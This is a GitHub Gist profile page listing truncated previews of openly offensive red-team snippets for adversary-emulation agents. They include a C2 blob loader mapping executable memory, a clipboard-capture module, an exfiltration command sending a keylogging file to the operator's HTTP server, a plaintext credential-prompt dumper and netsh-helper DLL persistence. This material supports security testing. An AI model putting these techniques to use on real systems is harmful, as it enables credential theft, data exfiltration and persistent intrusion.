Skip to content

Instantly share code, notes, and snippets.

Working from the Immaterium

Alex khyberspache

Working from the Immaterium
View GitHub Profile
khyberspache / pie_blob.c
Created Dec 23, 2020
Position Independent Executable example for article
View pie_blob.c
// example pie_blob.c
int f1(int v, void (* exit)(int)){
return v;
khyberspache / pie_blob_loader.c
Created Dec 23, 2020
Position Independent Executable loader example for article
View pie_blob_loader.c
// Request the pie_blob module from the C2 server
// mmap exectuable memory
fptr = mmap(NULL, sb.st_size, PROT_READ | PROT_EXEC | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
// read the blob into memory
result = fread(fptr, 1, sb.st_size, pBlob);
// grab whatever libraries/symbols I want (or even better, just get pointers to dlsym/dlopen)
handle = dlopen(LIBC_FILE, RTLD_LAZY);
khyberspache / run_command.go
Created Dec 23, 2020
keyword usage example for Operator
View run_command.go
func RunCommand(message string, executor string, payloadPath string) (string, int, int) {
if executor == "keyword" {
switch message {
case "stop agent":
case "module":
// do module stuff
// do other stuff
khyberspache / module_syntax.yml
Created Dec 23, 2020
Module syntax for ability yaml file
View module_syntax.yml
khyberspache / payload_syntax.yml
Created Dec 23, 2020
Modular payloads syntax for Prelude Operator
View payload_syntax.yml
khyberspache / capabilities.go
Created Dec 23, 2020
Module capability definition file for PneumaEX
View capabilities.go
package main
import ()
var (
ModuleName = "collect"
Functions = map[string]func(args []string) ([]byte, int){
"captureClipboard": captureClipboard,
ExecFunctions = map[string]func(args string) (){
khyberspache / modular_command_args.yml
Created Dec 23, 2020
Example of argument passthrough to module for PneumaEX
View modular_command_args.yml
command: |
module.exfil.httpServer.["#{operator.http}", "#{file.T1056.001}", "#{}", "#{operator.session}"]
khyberspache / standalone_func.go
Created Dec 23, 2020
Standalone function call example for PneumaEX
View standalone_func.go
RunStandalone("GoCapture", "C:\File\Path\To\Capture\into.tmp")
khyberspache / Invoke-PromptForCredentials.ps1
Last active Jan 19, 2021
Prompt a user for credentials on Windows and dump in plaintext
View Invoke-PromptForCredentials.ps1
using System;
using System.Text;
using System.Runtime.InteropServices;
public static class CredUI
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
private struct CREDUI_INFO
khyberspache / whisperNetshHelperPersist.cpp
Created Jan 19, 2021
Use SysWhispers with NetSh DLL helper persistence to spawn processes at a given registry key
View whisperNetshHelperPersist.cpp
#include <locale>
#include <cstdlib>
#include <stdio.h>
#include <string>
#include <Windows.h>
#include "Syscalls.h"
LONG GetStringRegKey(HKEY, const std::wstring&, std::wstring&, const std::wstring&);
DWORD WINAPI RunBin(LPVOID lpParameter) {